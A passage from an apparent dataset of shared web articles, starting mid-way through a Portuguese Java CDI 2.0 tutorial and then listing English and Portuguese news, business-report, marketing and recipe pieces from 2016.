container.select(Checkout.class).get();checkout.checkout();}}}``` Também é possível ensinar o CDI a criar uma instância utilizando o método produtor, por exemplo: ```java public class User implements Serializable { private String name; private String email; public User(String name, String email) { this.name = name; this.email = email; } String getName() { return name; } String getEmail() { return email; } @Override public String toString() { final StringBuilder sb = new StringBuilder(""User{""); sb.append(""name='"").append(name).append('\''); sb.append("", email='"").append(email).append('\''); sb.append('}'); return sb.toString(); } } public class UserProducer { @Produces public User getUser() { return new User(""Otavio"", ""otaviojava@domain.com""); } } Nesse exemplo, a classe User não possui um construtor default, assim o CDI não sabe como instanciar, assim foi utilizado o @Produces dentro da classe UserProducer para ensinar o CDI como instanciar a classe usuário. Assim é possível injetá-lo, por exemplo, dentro da classe Checkout: public class Checkout { @Inject private PaymentMethod paymentMethod; @Inject private User user; public void checkout() { System.out.println(""doing checkout: "" + user); paymentMethod.payment(); } } O outro recurso que também estará disponível para SE são os qualificadores. Imagine que agora será possível ter dois métodos de pagamento: Assim o método de pagamento passará a ser uma interface com duas implementações. Umas das maneiras para ensinar qual implementação o CDI utilizará seria a partir dos qualificadores. public enum PaymentType { CREDIT_CARD, CASH } @Qualifier @Retention(RUNTIME) @Target({TYPE, METHOD, FIELD, PARAMETER}) public @interface Payment { PaymentType value(); } public interface PaymentMethod { void payment(); } @Payment(PaymentType.CREDIT_CARD) public class CreditCard implements PaymentMethod { @Override public void payment() { System.out.println(""Payment with credit card""); } } @Payment(PaymentType.CASH) @Default public class Cash implements PaymentMethod { @Override public void payment() { System.out.println(""Payment with cash""); } } Nesse exemplo, foi criado a anotação Payment que possui um atributo, o enum PaymentType , que define os tipos de pagamento. Na implementação Cash , além do qualificador ele possui a anotação @Default , quer dizer que caso não seja definido nenhuma qualificação o CDI o injetará como padrão. @Inject @Payment(PaymentType.CREDIT_CARD) private PaymentMethod paymentMethod; Será injetado a implementação de cartão de crédito. @Inject @Payment(PaymentType.CASH) private PaymentMethod paymentMethod; @Inject private PaymentMethod paymentMethod; Será injetado a implementação de pagamento em dinheiro. Uma outra possibilidade dos qualificadores é definir qual instância será utilizada em tempo de execução, basta utilizar Instance com selector. public class Checkout { @Inject @Any private Instance payments; @Inject private User user; public void checkout(PaymentType type) { System.out.println(""doing checkout: "" + user); PaymentMethod paymentMethod = payments.select(new PaymentSelector(type)).get(); paymentMethod.payment(); } } public class PaymentSelector extends AnnotationLiteral implements Payment { private final PaymentType type; PaymentSelector(PaymentType type) { this.type = type; } @Override public PaymentType value() { return type; } } Definido a forma de pagamento, o próximo passo será o envio de e-mail e entregar o livro. Assim, se pode trabalhar com eventos. public class SendEmail { public void sendEmail(@Observes User user) { System.out.println(""Sending email to user: "" + user); } } public class DeliveryBook { public void delivery(@Observes User user) { System.out.println(""Delivering a book to: "" + user); } } public class Checkout { @Inject @Any private Instance payments; @Inject private User user; @Inject private Event userEvent; public void checkout(PaymentType type) { System.out.println(""doing checkout: "" + user); PaymentMethod paymentMethod = payments.select(new PaymentSelector(type)).get(); paymentMethod.payment(); userEvent.fire(user); } } Um recurso possível agora no 2.0 é definir a ordem em que os eventos serão chamados. public class DeliveryBook { public void delivery(@Observes @Priority(Interceptor.Priority.APPLICATION+2) User user) { System.out.println(""Delivering a book to: "" + user); } } public class SendEmail { public void sendEmail(@Observes @Priority(Interceptor.Priority.APPLICATION+1) User user) { System.out.println(""Sending email to user: "" + user); } } Outra possibilidade é realizar a chamada de forma assíncrona, para isso basta trocar a nos observadores para ObservesAsync e chamar o método do evento. public class SendEmail { public void sendEmail(@ObservesAsync User user) { System.out.println(""Sending email to user: "" + user); } } public class DeliveryBook { public void delivery(@ObservesAsync User user) { System.out.println(""Delivering a book to: "" + user); } } public class Checkout { @Inject @Any private Instance payments; @Inject private User user; @Inject private Event userEvent; public void checkout(PaymentType type) { System.out.println(""doing checkout: "" + user); PaymentMethod paymentMethod = payments.select(new PaymentSelector(type)).get(); paymentMethod.payment(); userEvent.fireAsync(user); } } Com isso foram apresentados os novos recursos do CDI 2.0, vale lembrar que muitos ainda estão sendo trabalhados, assim esperem por mais novidades até o dia do lançamento. Link para o código",pt
1461850801,CONTENT SHARED,-662806181534790446,-6316613156648676087,2428951006328029976,,,,HTML,http://blogs.wsj.com/cio/2016/04/26/wells-fargo-to-verify-customers-through-eye-prints/,Wells Fargo to Verify Customers through Eye Prints,"The bank, predicting that the traditional password will be gone in five years, plans to roll out biometric security technology for its corporate customers by July. The system authenticates mobile users through their unique eye prints with software from EyeVerify, a startup that the bank has been mentoring in an accelerator program since 2014.",en
1461851503,CONTENT SHARED,-1622037268576555626,-1032019229384696495,-1941773591979139720,,,,HTML,http://www.businessinsider.com/payments-ecosystem-research-and-business-opportunities-2016-4-27,You won't recognize the new world of digital payments without this report,"BI Intelligence The modern smartphone is a remarkable device. A single device that fits in your pocket can do all the tasks that once required cameras, camcorders, GPS devices, watches, alarm clocks, calculators, and even TVs. But the next change might be the most radical of all-it could eliminate the need to carry cash and credit cards. The growing importance of the smartphone as the go-to computing device for every digital activity is having a profound effect everywhere you look, but it's only the biggest story among many exciting developments in the world of payments: Apple Pay was first out of the gate, but now mobile wallets are everywhere you look-Android Pay, Google Pay, Chase Pay and even Walmart Pay are making smartphones a real alternative to carrying credit cards. And the potential for mobile wallets to limit a merchant's fraud liability could help them really take off in acceptance for small businesses. As consumers move more purchasing online, gateway vendors that can act as a front-end processor for online businesses are seeing explosive growth. PayPal-owned Braintree grew 111% YoY in the number of cards on file in Q4 2015, while Stripe and Klarna now have multi-billion dollar valuations. Mobile Point-Of-Sale (mPOS) startups like Square and ShopKeep have pioneered a whole new payments niche-accepting payments via tablets and smartphones. Coupling their transactions capabilities with new apps can revolutionize a small business' inventory management, marketing, loyalty and even payroll. Mobile Peer-to-Peer payments in the U.S. are forecast to grow from $5.6 billion in 2014 to nearly $175 billion by 2019 as consumers increasingly skip the hassle of writing a check or going to an ATM. But smartphone vendors like Apple could cripple the dominant player of 2016 (Venmo) if they make a serious push to own the space. If your job or your company is involved in payment processing in any way, you know how complex this industry is. And you know that you simply can't understand where the next big digital opportunities are unless you know the key players and roles in each step of the payments ""supply chain:"" Fortunately, managing analyst John Heggestuen and research analyst Evan Bakker of BI Intelligence , Business Insider's premium research service, have compiled a detailed report that breaks down everything you need to know-whether you're a payments industry veteran or a newcomer who is still getting a basic knowledge of this complex world. BI Intelligence Among the big picture insights you'll get from this new report, titled The Payments Ecosystem Report : Everything You Need to Know About The Next Era of Payment Processing : The 5 key events of 2015 that have set up 2016 as a watershed year for the entire payments ecosystem. The basics of traditional card processing from the start of the process through to the very end. Why new players and innovations like prepaid cards, store cards, and PIN debit transactions are gaining market share and creating new opportunities. The effects-good and bad-of the transition to new mobile payment methods. New players and old have surprising threats and opportunities in areas as varied as carrier billing, remittances, wearables, and more. This exclusive report takes you inside these big issues to explore: The critical steps in credit card transactions and how they are changing. The six major types of organizations involved in the payments ecosystem. The significant differences for industry players who operate closed-loop networks and offer prepaid cards. The challenges and opportunities facing hardware and software providers for the payments sector. The 8 reasons why mobile wallets are growing so fast and how they will disrupt all aspects of the mobile ecosystem. The exciting possibilities ahead in fast-growing payments subsectors like remittances, connected devices and mobile P2P payments. And much more. The Payments Ecosystem Report : Everything You Need to Know About The Next Era of Payment Processing is the only place you can get the full story on the rapidly-evolving world of payments. To get your copy of this invaluable guide, choose one of these options: Subscribe to an ALL-ACCESS Membership with BI Intelligence and gain immediate access to this report AND over 100 other expertly researched deep-dive reports, subscriptions to all of our daily newsletters, and much more. >> START A MEMBERSHIP Purchase the report and download it immediately from our research store. BUY THE REPORT >> The choice is yours. But however you decide to acquire this report, you've given yourself a powerful advantage in your understanding of the fast-moving world of payments.",en
1461853408,CONTENT SHARED,-1444481301861872291,6735372008307093370,7211147496209308956,,,,HTML,http://www.brasilpost.com.br/2016/04/26/drag-queen-pabllo-vittar-_n_9780744.html,Nova campanha da Avon tem drag queen como estrela,"Publicado: Entrando na onda da representatividade, a marca de cosméticos Avon divulgou sua nova garota propaganda: a drag queen Pabllo Vittar . Logo após a postagem, na última segunda-feira, 25, a página da marca recebeu centenas de comentários positivos sobre a iniciativa. O ""mundo precisa de mais empresas como a Avon"", escreveu um usuário. A Avon respondeu alguns comentários, enfatizando que ""representatividade importa"": ""O mundo tá evoluindo e é importante a gente crescer com ele. Claro que assim como todo mundo, temos muito a desconstruir, mas esse já é o primeiro passo em direção a um mundo mais justo!"" (Com informações da Estadão Conteúdo) Pabllo Vittar ficou conhecida em rede nacional por participar da banda do programa 'Amor & Sexo', da Rede Globo. Antes disso, ela já fazia muito sucesso por seus videoclipes no YouTube, em especial o hit 'Open Bar'. Anteriormente, a marca já havia incluído a cantora transexual da Banda Uó, Mel Gonçalves, numa campanha publicitária. No exterior, empresas como MAC e Make Up Forever também têm apostado em modelos transgênero. LEIA MAIS: - Menino de 8 anos realiza sonho de aprender a se maquiar como uma drag queen - Drag Queen Deena Love rouba a cena na estreia da segunda edição do 'The Voice Brasil' (VÍDEO)",pt
1461853450,CONTENT SHARED,4918358495761748770,6735372008307093370,7211147496209308956,,,,HTML,http://www.brasilpost.com.br/2016/04/27/campanha-mato-grosso-do-s_n_9790112.html,Saúde de homens gays e bi é foco de nova campanha do governo,"Publicado: ""Cuidar bem da saúde de cada um. Faz bem para todos. Faz bem para o Brasil."" Neste lema, está incluída a população de homens que fazem sexo com homens (HSH) - os homens gays e bissexuais . Eles são o foco da nova campanha do Ministério da Saúde , anunciada na última terça-feira (26), para conscientizar a sociedade e os trabalhadores e gestores do Sistema Único de Saúde (SUS) sobre a saúde dos HSH. A campanha, desenvolvida junto do Ministério das Mulheres, da Igualdade Racial, Juventude e dos Direitos Humanos , também orienta profissionais da saúde a praticar atendimento humanizado e garantir saúde integral aos HSH, considerando suas necessidades específicas. Além disso, serão produzidos conteúdos informativos para as redes sociais, como mensagens e vídeos, cujos temas serão as necessidades de saúde e os direitos dos homens gays e bi. E mais de cem mil cartazes serão distribuídos nas unidades de saúde, secretarias estaduais, conselhos de saúde, Comitês de Saúde LGBT e serviços de assistência social e direitos humanos que atendam o público. Outros grupos serão contemplados no material de divulgação: população de rua, população negra, mulheres lésbicas e bi e pessoas transgêneras, públicos de outras campanhas do Governo Federal. ""Só há um caminho para o Brasil crescer: o do respeito à pluralidade, à diversidade. Sem isso, não há desenvolvimento possível"", disse André Bonifácio, secretário substituto de Gestão Estratégica e Participativa do Ministério da Saúde, no lançamento da campanha, como mostra o Portal da Saúde . ""Neste sentido, esta campanha é fundamental para não deixar que os sentimentos e desejos de cidadania plena em nosso país sejam apagados em momento algum da história."" Cuidar bem da saúde de cada um. Faz bem para todos. Faz bem para o Brasil é a quinta etapa de uma série de campanhas do governo pela valorização do direito à saúde. Uma cartilha será feita especificamente para funcionários do SUS, incluindo recepcionistas e atendentes, para acolher propriamente os HSH. Nilma Gomes , ministra das Mulheres, da Igualdade Racial, Juventude e dos Direitos Humanos, explicou no lançamento que a campanha também pensa nos homens gays e bi como membros da população masculina em geral - logo, precisam de cuidados com a saúde que transcendam doenças e infecções sexualmente transmissíveis. Segundo o Ministério da Saúde, homens vivem 7,3 anos a menos que mulheres e tendem a acessar menos os serviços de saúde que elas. ""A luta LGBT transcende a militância, é preciso contemplar e incluí-los nas práticas, ações e políticas públicas em todas as áreas"", reforçou a ministra. LEIA MAIS: - 'Sim ao Amor': Salvador terá seu primeiro casamento coletivo LGBT em 2016 - Felizes para sempre! Chile tem primeiro policial a realizar união civil com parceiro",pt
1461857603,CONTENT SHARED,6015995473246774717,-8694104221113176052,1422437400758902783,,,,HTML,http://www.mckinsey.com/business-functions/business-technology/our-insights/the-need-to-lead-in-data-and-analytics,The need to lead in data and analytics,"In a new survey, executives say senior-leader involvement and the right organizational structure are critical factors in how successful a company's analytics efforts are, even more important than its technical capabilities or tools. Executives have high hopes for their data and analytics programs. Large majorities of respondents to a recent McKinsey Global Survey on the topic expect their analytics activities to have a positive impact on company revenues, margins, and organizational efficiency in the coming years. To date, though, respondents report mixed success in meeting their analytics objectives. For those lagging behind, a lack of strategy or tools isn't necessarily to blame. Rather, the results suggest that the biggest hurdles to an effective analytics program are a lack of leadership support and communication, ill-fitting organizational structures, and troubles finding (and retaining) the right people for the job. Leadership and organization matter Respondents say their organizations pursue data and analytics activities for a range of reasons, most often to build competitive advantage or improve the customer experience. Whatever the motivation, companies have found mixed success: 86 percent of executives say their organizations have been at best only somewhat effective at meeting the primary objective of their data and analytics programs, including more than one-quarter who say they've been ineffective. However, a select group of executives report greater effectiveness and more developed analytics capabilities relative to their peers. Compared with their lower-performing peers, these high performers say their analytics activities have had a greater impact on company revenue in the past three years. And some of the biggest qualitative differences between high- and low-performing companies, according to respondents, relate to the leadership and organization of analytics activities. High-performer executives most often rank senior-management involvement as the factor that has contributed the most to their analytics success; the low-performer executives say their biggest challenge is designing the right organizational structure to support analytics (Exhibit 1). On the whole, responses suggest that company leaders are less involved in analytics efforts than they are in digital activities. In McKinsey's latest survey on digitization, 38 percent of respondents said their CEOs were leading the digital agenda for their companies; in this survey, just one-quarter say their CEOs lead the data and analytics agenda. But even when analytics are top of mind for company leaders, many of them don't seem to be communicating a clear vision throughout their organizations. Thirty-eight percent of CEOs say they lead their companies' analytics agendas, but only 9 percent of all other C-suite executives agree (Exhibit 2). These respondents are much more likely to cite chief information officers or business-unit heads as leaders of the analytics agenda. Sponsorship is another area where company leaders can do more, and where the high and low performers differ notably. Respondents at high performers in analytics are nearly three times likelier than their low-performer peers to say their CEOs directly sponsor their analytics initiatives (Exhibit 3). Just as companies pursue varied objectives with their analytics activities, they also differ in how they organize around this work. There is no consensus on a single structure-centralized, decentralized, or a hybrid model-that most companies use. But the executives who report using a hybrid structure-a central analytics organization that coordinates with employees who are embedded in individual business units-say analytics has a greater impact on both cost and revenue than other respondents do. Relative to others, these executives also report a broader range of analytics capabilities (including more sophisticated tools and advanced modeling techniques) and a greater number of business functions pursuing analytics activities. Talent troubles For many companies-especially the low performers-the results indicate that attracting and retaining talent are more difficult for data and analytics than for other parts of the business. In particular, executives say it's challenging both to find and to retain business users with analytical skills, even more than data scientists and engineers (Exhibit 4). Within the C-suite, the CEOs' direct reports are more likely than CEOs themselves to cite difficulty attracting executive leaders for analytics-roles that are critical, given the correlation between leadership involvement and overall analytics success. The most significant talent challenges that companies face, according to respondents, are a lack of structured career paths (especially at larger companies) and the inability to compete effectively on salary and benefits. These two challenges are even more acute for companies where analytics work is decentralized (that is, when analytics employees are embedded in individual business units and act independently), reflecting the difficulty of creating a distinct analytics culture without a central team and leader. And while executives at low-performing companies report the same challenges as others, they overwhelmingly cite a lack of leadership support as the primary challenge to both attracting and retaining talent-once again underscoring the importance of leaders' involvement in advancing the goals of data and analytics efforts. Compounding the talent challenge is that traditional recruiting methods seem to be falling short. Only 16 percent of respondents say their organizations have successfully found data and analytics talent through recruitment agencies and search firms. Other approaches, though, have worked better. Respondents most often cite retraining current employees as an effective method, which eliminates the need to find new hires and attract them away from other opportunities. At high-performing companies, respondents have also found success by developing a unique recruiting team for analytics employees. How companies are getting it right Beyond better talent practices and more active CEO involvement, executives at high-performing companies report other practices that differentiate their analytics activities. Most executives-including three-quarters of those at low-performing companies-say their organizations have established some analytics capabilities. However, the high performers report significantly more advanced capabilities across the board (Exhibit 5). They are, for example, nearly five times likelier than their low-performing peers to say they have tools and expertise to work with unstructured and real-time data. And they are nearly twice as likely to say they make data accessible across their organizations. High performers are also more diligent than others when it comes to measuring results, and more likely than their peers to track most of the nine analytics-related metrics we asked about. Fifty-four percent of high performers, for example, say their companies track the impact of their analytics activities on top-line revenues. By contrast, only 19 percent of respondents at low performers say they measure the impact on revenue. Finally, high performers extend their data and analytics activities more broadly across the organization. Fifty-nine percent of these executives say their R&D functions use analytics, compared with just one-fifth of low-performing respondents. What's more, the high performers are more likely than low performers to say their primary purpose with analytics is building competitive advantage-and less likely to say they are simply trying to cut costs. How companies are using big data and analytics Read the article Looking ahead Communicate from the top. The results indicate that even if CEOs are aware of their analytics activities-and their importance to the business-many are failing to communicate their vision and strategy across the organization. This lack of communication can confuse the groups responsible for implementing analytics and can hinder collaboration among functional teams. Senior-leader involvement also goes a long way toward creating a culture that values this work, a critical factor in an organization's ability to recruit data and analytics talent and to capture value from their efforts. Company leaders must continually articulate the importance of analytics by hosting town-hall meetings, monitoring results on company dashboards, and incentivizing senior managers to focus on these initiatives. Organize for success. While there is still debate over which operating model works best for analytics, the survey results suggest that companies using a hybrid approach often see greater impact from analytics than companies with either a strictly centralized or decentralized model. However they decide to organize, though, companies must ensure that they have the right balance of technical and domain expertise, that resources are being used efficiently, and that all analytics resources align closely with the goals and targets of the business units they support. Find new ways to attract talent. Most respondents say it's difficult to attract and retain the best data and analytics talent through traditional recruiting means. To attract good people, companies will need to develop a distinct culture, career paths, and recruiting strategy for data and analytics talent; ensure that analytics employees have a close connection with company leaders; and articulate the unique contributions that data and analytics talent can make. They must also identify and tap into new or alternative sources of talent-retraining existing employees, for example, or forming innovative external partnerships. About the author(s) Contributors to the development and analysis of this survey include Brad Brown, a director in McKinsey's New York office, and Josh Gottlieb, a specialist in the Atlanta office. Article - McKinsey Quarterly",en
1461857986,CONTENT SHARED,-158184760257182670,-1032019229384696495,-1941773591979139720,,,,HTML,http://techcrunch.com/2016/04/28/plug-the-fathom-neural-compute-stick-into-any-usb-device-to-make-it-smarter/,Plug the Fathom Neural Compute Stick into any USB device to make it smarter,"Following on the heels of their announcement a few weeks ago about their FLIR partnership , Movidius is making another pretty significant announcement regarding their Myriad 2 processor . They've incorporated it into a new USB device called the Fathom Neural Compute Stick . You can plug the Fathom into any USB-capable device (computer, camera, GoPro, Raspberry Pi, Arduino, etc) and that device can become ""smarter"" in the sense that it can utilize the Myriad 2 VPU inside of it to become an input for a neural network (I'll come back to all this). Essentially, it means a device with the Fathom can react cognitively or intelligently, based on the things it sees with computer vision capabilities or data it processes from another source. A device using it can make its own decisions based on its programming. The key point is it can do this all natively-right on the stick. No call to the cloud is necessary. In addition to the stick, Movidius have also created a software system they are calling the Fathom Deep Learning Software Framework that lets you optimize and compile learning algorithms into a binary that will run on the Myriad 2 at extremely low power. In a computer vision scenario, Movidius claims it can process 16 images per second using a single watt of power at full bore/peak performance. There are many other cognitive scenarios it can be used for though. They have 1000 available for free to qualified customers, researchers and small companies that they'll be making available in the coming weeks. A larger rollout is planned for Q4 that is targeting the sub $100 range for the device. So that's the news. The Complicated Part: What's All This Business About Neural Networks And Algorithms? Still, I wanted to understand how this device is used, in practical terms...to visualize where the Fathom and its software framework fit in with neural networks in an actual deployment. After struggling to grasp it for a bit (and after a few phone calls with Movidius) I finally came up with the following greatly-simplified analogy. Say you want to teach a computer system to recognize images or parts of images and react to them very quickly. For example, you want to program a drone camera to be able to recognize landing surfaces that are flat and solid versus those that are unstable. To do this, you might build a computer system, with many, many GPUs and then use an open source software library like TensorFlow on that system to make the computer a learning system-an Artificial Neural Network. Once you have this system in place, you might begin feeding tens or even hundreds of thousands of images of acceptable landing surfaces into that learning system: flat surfaces, ship decks, driveways, mountaintops...anywhere a drone might need to land. Over time, this large computer system begins learning and creating an algorithm to where it can begin to anticipate answers on it own, very quickly. But accessing this system from remote devices requires internet connectivity and there is some delay for a client/server transfer of information. In a situation like landing a drone, a couple of seconds could be critical. How the Fathom Neural Compute Stick figures into this is that the algorithmic computing power of the learning system can be optimized and output (using the Fathom software framework ) into a binary that can run on the Fathom stick itself. In this way, any device that the Fathom is plugged into can have instant access to complete neural network because a version of that network is running locally on the Fathom and thus the device. So in the previous drone example, instead of waiting for cloud calls to get landing site decisioning information, the drone could just make those decisions itself based on what it's camera is seeing in real-time and with extremely low power consumption. That's sorta badass. The Bigger Picture If you stretch your mind a bit, you can begin to see other practical applications of miniature, low-power, cognitively capable hardware like this: intelligent flight, security cameras with situational awareness, smaller autonomous vehicles, new levels of speech recognition. Those same size and power factors also make wearables and interactive eyewear excellent targets for use (albeit more likely in a directly integrated way rather than USB add-on). This is notable as Augmented and Mixed Reality capabilities continue to make headlines and get closer to the comfort zones of the general public. And since Computer vision (CV) algorithms are one of the backbones that enable AR/MR to have practical uses, making CV function more powerfully and cognitively in a small footprint and at low power has possibly never been as important. I can see this kind of hardware fitting in to that possible future. Strategically, this approach gives Movidius another way to reach customers. Obviously, they already have integrated hardware agreements with larger companies they are partnered with like Google and FLIR, but for smaller businesses that still may need onboard intelligence for their projects, releasing the Fathom as a modular, add-on opens a new market for small or medium sized businesses.",en
1461861533,CONTENT SHARED,1968587931268137930,-1387464358334758758,858189167836838185,,,,HTML,http://figosefunghis.com.br/2016/04/bolinho-de-arroz-sem-gluten-facilimo-de-fazer.html,Bolinho de Arroz sem Glúten - facílimo de fazer!,"Eu sou simplesmente apaixonada por bolinho de arroz desde que me entendo por gente. Bom, na verdade eu sou apaixonada por arroz, qualquer um deles, e quando tenho a possibilidade de transformar aquele arroz simples que sobrou na geladeira em deliciosos bolinhos crocantes por fora e macios por dentro eu não desperdiço não! Por outro lado, como vocês bem sabem eu não tenho o hábito de fazer frituras em casa, e sempre que posso adapto a receita para prepará-la no forno, mas como tudo na vida tem suas exceções dessa vez eu me rendi ao pedido dos amigos durante o feriado de Páscoa que passamos juntos e preparei os bolinhos fritos mesmo, mas sem peso na consciência, porque se eu vou sair da rotina e dar uma pisadinha na jaca acredito que preciso no mínimo ter prazer com isso! Bolinhos de arroz estão entre as únicas 5 receitas que eu não resisto preparadas fritas. Feriado na praia entre amigos e uma cozinha super equipada foram motivos suficientes para que eu me enfiasse na cozinha (por sorte tínhamos uma ajudante na casa e tenho 2 amigos na turma que também gostam de cozinhar. Sim, homens, a mulherada por ali não curte muito pilotar um fogão...kkkk), e numa dessas aventuras decidi preparar os bolinhos de arroz para petiscarmos antes do almoço, mas quando já estava preparando a massa descobri que tínhamos apenas farinha de mandioca na despensa, e nenhuma outra alternativa, se não dirigir até o mercado mais próximo, pegar 1 hora de fila para passar a compra, mas esta de fato não era uma alternativa, se não os bolinhos para petisco virariam bolinhos para o café da tarde. Resolvi arriscar e fui de farinha de mandioca mesmo, e não é que o resultado foi incrível?! Gente, vocês não acreditam que delicia, os bolinhos preparados com farinha de mandioca demoram um pouco mais para fritar e formam uma camada de espuma na superfície enquanto fritam, mas quando ficam prontos ficam leves, crocantes por fora e macios por dentro, muito saborosos e por não ter glúten mesmo sendo fritos não deixam o estômago pesado. Eu amei, os amigos amaram e agora em casa só vai ter bolinho de arroz sem glúten. Adoro quando os imprevistos proporcionam descobertas :) Da próxima vez que fizer vou tentar deixar a massa mais consistente para fazer no forno, mas aí é uma outra experiência que eu venho contar pra vocês depois. E me desculpem pela foto - a única - que tirei dos bolinhos prontos. Eles acabaram tão rápido que não consegui fazer mais nada a não ser salvar alguns para não ficar sem...hahahaha. RECEITA DE BOLINHO DE ARROZ SEM GLÚTEN (rende aproximadamente 25 unidades) Ingredientes: 4 xícaras (chá) de arroz branco pronto 4 ovos 2/3 de xícara (chá) de farinha de mandioca fina 1 tomate sem sementes bem picado ½ cebola bem picada 1 dente de alho triturado ou ralado ½ xícara (chá) de cheiro verde picado 150g de queijo parmesão ralado (se quiser os bolinhos sem lactose use queijo sem lactose, mas use um bem firme) 1 fio de azeite Pimenta e sal a gosto Óleo de girassol para fritar (ou outro de sua preferência) Modo de Preparo: em uma tigela coloque o arroz, faça um buraco no meio e quebre todos os ovos. Depois junte o cheiro verde picado, o queijo parmesão, a cebola, o tomate, o alho, o azeite e misture novamente. Adicione pimenta a gosto (ou pimenta fresca picada ou pimenta seca moída), sal se achar necessário e misture novamente. Por fim adicione aos poucos a farinha de mandioca até dar liga, talvez precise de mais farinha, talvez de menos farinha, depende do tamanho dos ovos que estiver usando. Coloque óleo suficiente na panela para fritar todos os bolinhos (para esta quantidade da receita usei 1 litro) e deixe aquecer bem, até fazer o teste do palito de fósforo e ele acender no óleo (ou então coloque apenas uma pontinha da massa no óleo, se borbulhar rapidamente é porque está no ponto certo). Com a ajuda de duas colheres de sopa - coloque uma porção em uma colher e aperte com a outra, modele os bolinhos e vá colocando no óleo. Frite dos dois lados até dourar (forma um pouco de espuma por cima dos bolinhos por causa da farinha de mandioca, mas é normal), depois escorra o máximo que conseguir de gordura em papel absorvente e sirva com salsinha fresca picada por cima. Dicas: 1) A proporção sempre será de 1 xícara de arroz para 1 ovo se quiser fazer mais ou menos bolinhos. 2) Você também pode picar ou ralar outros tipos de queijo e misturar na massa, ou até mesmo rechear com cubinhos de queijo. Para preparar uma versão sem lactose basta substituir o queijo parmesão por um queijo sem lactose de massa firme. Bom Apetite!",pt
1461861629,CONTENT SHARED,-6726685468116057064,-1387464358334758758,858189167836838185,,,,HTML,http://figosefunghis.com.br/2016/01/steak-tartare-com-salada-verde.html,Steak Tartare com Salada Verde,"Sei que muita gente torce o nariz para qualquer tipo de carne crua, já eu sou apaixonada por algumas receitas preparadas com elas: carpaccio, ceviche, sushi, sashimi e tartares de todos os tipos! A minha paixão é tanta que aqui no blog mesmo já tem algumas versões de tartare de carne e de peixe, mas como é de se esperar a cada vez que eu preparo o steak tartare especialmente eu testo uma modificação no tempero, e dessa vez não foi diferente. Aí eu sempre penso: vou levar para o blog, porque vai que em algum lugar por aí tem outro doido(a) por steak tartare que vai curtir muito testar uma receitinha nova? Né?! Mas antes de passar a receita eu preciso avisar uma coisa para quem nunca preparou o prato. Trata-se de uma receita absurdamente fácil, daquelas que chegam até a ser bobinha mesmo, mas o segredo está no frescor absoluto da carne (acho que não preciso lembrar que jamais deve ser usada carne congelada nesta receita né?!), na temperatura adequada e no esmero em picá-la na ponta da faca. Na minha opinião esta é a parte chatinha da receita, mas seria um sacrilégio desperdiçar carne boa com steak tartare mal feito né? Então nunca, jamais, em tempo algum pense em moer a carne para preparar seu steak tartare. Não deixe a preguiça se apoderar deste corpitcho e pique toda a peça da carne até que tenha minúsculos cubinhos. Pronto, seu trabalho praticamente acabou e agora vem a parte boa: temperar e comer, claro! Para acompanhar o steak tartare você pode optar por servir uma cestinha de pães diversos, torradas, as clássicas batatas rústicas ou as fritas - estas últimas o acompanhamento preferido dos franceses. Eu particularmente gosto de servir com salada verde com um molhinho suave e gostoso e com torradas que eu mesma gosto de preparar usando o pão que tiver no momento. Prefiro eu mesma preparar porque eu gosto daquelas torradas que ainda ficam macias no centro e que não se despedaçam inteiras na primeira mordida, mas é óbvio que você pode usar a torrada comprada pronta. MAIS UM STEAK TARTARE - E DOS BONS! (serve até 6 pessoas como entrada ou 2 como prato único) Ingredientes: 400g de carne bovina magra (filé mignon, coxão mole ou patinho) e super limpa 1 e 1/2 colher (sopa) de alcaparras bem picadas 1 e 1/2 colher (sopa) de cebola roxa picada bem miúda 1 e 1/2 colher (sopa) de pepino em conserva bem picado 1 colher (sopa) de molho inglês 1 colher (chá) de mostarda dijon 1 colher (sopa) de azeite 1 colher (sopa) de ketchup 1 colher (sopa) de conhaque 1 colher (sopa) de salsinha bem picada sal e pimenta a gosto Modo de Preparo: Pique a carne na faca até obter pedaços bem miúdos. Depois junte a carne com todos os outros ingredientes e misture delicadamente. Adicione pimenta e sal a gosto, e se achar necessário acrescente mais azeite. Sirva em seguida com uma salada verde caprichada, com torradas ou batatas rústicas. Bom Apetite!",pt
1461863574,CONTENT SHARED,-5123671543726522991,-1032019229384696495,-1941773591979139720,,,,HTML,http://techcrunch.com/2016/04/28/google-for-work-and-google-cloud-platform-get-new-security-and-privacy-certifications/,Google for Work and Google Cloud Platform get new security and privacy certifications,"In what is clearly part of the company's efforts to get more enterprise customers on its platforms, Google today announced that it has renewed its ISO 27001 certification for the fourth year in a row and upped its product coverage from 34 to 59 products. In addition, Google Apps for Work and the Google Cloud Platform have now also been certified for ISO 27017 for cloud security and ISO 27018 for privacy. Google already said it would adopt ISO 27018 for Google Apps for Work last year, so this part of the announcement doesn't come as a major surprise (though unless you have an unhealthy fascination with ISO certifications, you probably don't remember last year's announcement). Unless you work in a major enterprise company, the government or a highly regulated industry, chances are ISO certifications aren't exactly at the top of your mind when you choose a cloud provider. Still, knowing that a company's security and data-handling standards are up to par to receive something like an ISO 27001 certification that promises your information will be handled securely does provide at least some additional peace of mind. ISO 27017 basically certifies that Google's virtual networks are as secure as it physical networks, that data is protected and inaccessible to other customers on the same platform, and that its clear which security responsibilities fall on Google and which are the customer's responsibility. ISO 27018 mostly covers privacy controls. It certifies that Google doesn't use its customers' data on the covered platforms for advertising, for example, and that the customers' data remains theirs. It also certifies that Google lets you delete and export your data and is transparent about where the data is stored. ""Google was born in the cloud, and we've set a high bar for what it means to host, serve, and protect our users' data all over the world,"" Google writes in today's announcement. ""Certifications such as these provide independent third-party validations of our ongoing commitment to world-class security and privacy, while also helping our customers with their own compliance efforts."" Because enterprises do look for these certifications when they decide on a cloud provider, it's no surprise that Amazon's AWS and Microsoft's Azure also offer similar compliance assurances. AWS already offers the same ISO 27001, 27017, and 27018 certifications as Google, for example. Azure, too, is ISO 27001 and 27018 compliant. The fact that Google didn't have these certifications before shows that it maybe wasn't all that serious about getting enterprise customers on its cloud platform (or didn't understand them) - but with former VMware CEO Diane Greene taking the helm of Google's cloud businesses, it's now making an aggressive play to get enterprises to adopt its platform and services. Featured Image: Jason Baker / Flickr UNDER A CC BY 2.0 LICENSE",en
